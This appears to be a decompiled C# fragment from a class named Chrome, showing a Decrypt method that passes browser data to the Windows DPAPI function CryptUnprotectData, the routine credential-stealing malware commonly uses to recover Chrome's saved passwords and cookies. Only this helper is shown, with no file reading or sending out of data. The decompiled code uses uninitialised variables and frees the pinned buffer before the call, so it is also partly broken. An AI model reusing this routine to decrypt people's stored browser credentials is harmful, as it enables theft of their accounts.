// Token: 0x06000088 RID: 136 RVA: 0x00004E98 File Offset: 0x00003098
public static string Decrypt(byte[] Datas)
{
Chrome.DATA_BLOB data_BLOB = default(Chrome.DATA_BLOB);
Chrome.DATA_BLOB data_BLOB2 = default(Chrome.DATA_BLOB);
GCHandle gchandle = GCHandle.Alloc(Datas, GCHandleType.Pinned);
data_BLOB.pbData = gchandle.AddrOfPinnedObject();
data_BLOB.cbData = Datas.Length;
gchandle.Free();
string szDataDescr = null;
Chrome.DATA_BLOB data_BLOB4;
Chrome.DATA_BLOB data_BLOB3 = data_BLOB4;
IntPtr intPtr;
IntPtr pvReserved = intPtr;
Chrome.CRYPTPROTECT_PROMPTSTRUCT cryptprotect_PROMPTSTRUCT2;
Chrome.CRYPTPROTECT_PROMPTSTRUCT cryptprotect_PROMPTSTRUCT = cryptprotect_PROMPTSTRUCT2;
Chrome.CryptUnprotectData(ref data_BLOB, szDataDescr, ref data_BLOB3, pvReserved, ref cryptprotect_PROMPTSTRUCT, 0, ref data_BLOB2);
checked
{
byte[] array = new byte[data_BLOB2.cbData + 1];
Marshal.Copy(data_BLOB2.pbData, array, 0, data_BLOB2.cbData);
string @string = Encoding.Default.GetString(array);
return(@string.Substring(0, @string.Length - 1));
}
}
private static extern bool CryptUnprotectData(ref Chrome.DATA_BLOB pDataIn, string szDataDescr, ref Chrome.DATA_BLOB pOptionalEntropy, IntPtr pvReserved, ref Chrome.CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, int dwFlags, ref Chrome.DATA_BLOB pDataOut);